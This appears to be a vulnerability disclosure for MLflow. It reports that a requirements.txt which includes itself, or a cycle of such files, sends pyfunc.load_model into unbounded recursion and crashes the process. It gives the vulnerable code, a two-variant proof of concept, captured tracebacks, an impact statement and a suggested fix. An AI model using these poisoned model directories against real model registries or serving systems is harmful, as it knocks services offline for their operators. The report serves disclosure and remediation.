YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
MLflow requirements.txt -r/-c reference cycle β unbounded recursion (RecursionError) DoS at pyfunc.load_model (non-RCE)
Target: mlflow (mlflow/mlflow)
Verified version: mlflow 3.14.0, CPython 3.13.12, sys.getrecursionlimit() == 1000 (Linux)
Vulnerable file: mlflow/utils/requirements_utils.py β function _parse_requirements
Class: Uncontrolled recursion / Denial of Service (CWE-674). Non-RCE.
Trigger: Default mlflow.pyfunc.load_model(<model_dir>) on an attacker-supplied model directory. No inference, no valid model, no user input required.
Summary
_parse_requirements resolves pip requirements/constraints file references (-r <file> / -c <file>)
recursively via yield from _parse_requirements(abs_path, ...) with no cycle detection, no visited-set,
and no depth bound. Because abs_path = os.path.join(base_dir, req_file) is resolved relative to the
directory of the current file, a requirements.txt that references itself (-r requirements.txt) β or a
set of files that form a reference cycle β causes the generator to re-enter without bound and exhaust the
CPython recursion limit, raising an uncaught RecursionError that crashes the process/worker. It also opens
~1000 nested file handles along the way.
The requirements.txt file ships inside every MLflow model directory and is fully attacker-controlled.
On the default mlflow.pyfunc.load_model() path it is parsed at pyfunc/__init__.py:1136
(_get_pip_requirements_from_model_path β line 1070 β _parse_requirements) before Model.load() and
flavor validation. So merely loading a malicious model β with no valid flavor, no inference, no
user-supplied input β crashes the caller.
Root cause (code)
mlflow/utils/requirements_utils.py (verified verbatim in mlflow 3.14.0):
def _parse_requirements(requirements, is_constraint=False, base_dir=None):
if base_dir is None:
if isinstance(requirements, (str, Path)):
base_dir = os.path.dirname(requirements) # line 118
with open(requirements) as f:
requirements = f.read().splitlines()
else:
base_dir = os.getcwd()
...
for line in lines:
if _is_requirements_file(line):
req_file = line.split(maxsplit=1)[1]
abs_path = os.path.join(base_dir, req_file)
yield from _parse_requirements(abs_path, is_constraint=False) # line 136 β no cycle/depth guard
elif _is_constraints_file(line):
req_file = line.split(maxsplit=1)[1]
abs_path = os.path.join(base_dir, req_file)
yield from _parse_requirements(abs_path, is_constraint=True) # no cycle/depth guard
else:
yield _Requirement(line, is_constraint)
There is no visited set of already-parsed paths and no recursion-depth counter, so a self- or
mutually-referencing chain recurses until the interpreter's recursion limit is hit.
Reached on the default load path (before flavor validation)
mlflow/pyfunc/__init__.py:
load_model()β line 1136:model_requirements = _get_pip_requirements_from_model_path(local_path)_get_pip_requirements_from_model_path()β line 1070:return [req.req_str for req in _parse_requirements(req_file_path, is_constraint=False)]
This runs before Model.load() / flavor checks, confirming a valid model is not needed to trigger.
PoC
Build a model directory containing an MLmodel stub and a poisoned requirements.txt.
Variant A β self-reference:
requirements.txt:
scikit-learn
-r requirements.txt
Variant B β cycle (two files):
requirements.txt:
mlflow
-r extra.txt
extra.txt:
-r requirements.txt
Then:
import mlflow
mlflow.pyfunc.load_model("<model_dir>") # raises uncaught RecursionError
repro.py (included) builds all three model dirs (self-ref, cycle, benign control) and runs each.
Negative control
A benign requirements.txt (scikit-learn==1.3.0\nnumpy\n) parses fine β it only emits a
dependency-mismatch WARNING β and load then proceeds normally to the flavor check, raising
MlflowException: Model does not have the "python_function" flavor for the stub MLmodel. This proves the
crash in the malicious cases is specifically the requirements-file recursion, occurring before any model /
flavor parsing.
Captured evidence (verbatim, mlflow 3.14.0 / CPython 3.13.12 / reclimit 1000)
2026/07/16 16:27:58 WARNING mlflow.utils.requirements_utils: Detected one or more mismatches between the model's dependencies and the current Python environment:
- scikit-learn (current: 1.9.0, required: scikit-learn==1.3.0)
To fix the mismatches, call `mlflow.pyfunc.get_model_dependencies(model_uri)` to fetch the model's environment and install dependencies using the resulting environment file.
### self-reference (-r requirements.txt) -> .../models/selfref
-> RecursionError. _parse_requirements in tb: True
Traceback (most recent call last):
File ".../repro.py", line 30, in run
...
yield from _parse_requirements(abs_path, is_constraint=False)
[Previous line repeated 990 more times]
File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements
base_dir = os.path.dirname(requirements)
File "<frozen posixpath>", line 179, in dirname
RecursionError: maximum recursion depth exceeded
### cyclic (requirements.txt <-> extra.txt) -> .../models/cycle
-> RecursionError. _parse_requirements in tb: True
Traceback (most recent call last):
File ".../repro.py", line 30, in run
...
yield from _parse_requirements(abs_path, is_constraint=False)
[Previous line repeated 990 more times]
File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements
base_dir = os.path.dirname(requirements)
File "<frozen posixpath>", line 179, in dirname
RecursionError: maximum recursion depth exceeded
### NEGATIVE CONTROL benign requirements.txt -> .../models/benign
-> MlflowException: Model does not have the "python_function" flavor
mlflow 3.14.0 | py 3.13.12 reclimit 1000
Full-traceback variant captured directly at load_model:
Traceback (most recent call last):
...
File ".../mlflow/pyfunc/__init__.py", line 1136, in load_model
model_requirements = _get_pip_requirements_from_model_path(local_path)
File ".../mlflow/pyfunc/__init__.py", line 1070, in _get_pip_requirements_from_model_path
return [req.req_str for req in _parse_requirements(req_file_path, is_constraint=False)]
File ".../mlflow/utils/requirements_utils.py", line 136, in _parse_requirements
yield from _parse_requirements(abs_path, is_constraint=False)
[Previous line repeated 991 more times]
File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements
base_dir = os.path.dirname(requirements)
RecursionError: maximum recursion depth exceeded
Impact
- Loading an attacker-supplied MLflow model (a common operation: model registry pulls,
pyfunc.load_model, serving/scoring servers that materialize a model before serving) crashes the process/worker with an uncaughtRecursionError. - Also transiently opens ~1000 nested file descriptors before unwinding.
- Non-RCE; availability impact only.
Suggested fix
Track visited absolute paths (canonicalized via os.path.realpath) in a set threaded through the recursion,
and/or impose a maximum include depth; raise a clear MlflowException on a cycle or when the depth cap is
exceeded β mirroring how pip itself guards requirements-file includes.
Dedup note
- Distinct from the MLflow signature/schema recursion DoS (
_dataframe_from_json/ TensorSpec / ParamSpec paths) β that is a different code path in the model-signature deserializer. This finding is in the pip-requirements file parser_parse_requirements, reached via_get_pip_requirements_from_model_pathon the defaultpyfunc.load_modelpath, and is triggered purely byrequirements.txtinclude directives. - Distinct from
mlflow-pyfunc-artifacts-path-traversaland the flavor-loader RCE findings. - No known CVE covers
-r/-creference-cycle unbounded recursion in_parse_requirementsat the time of writing.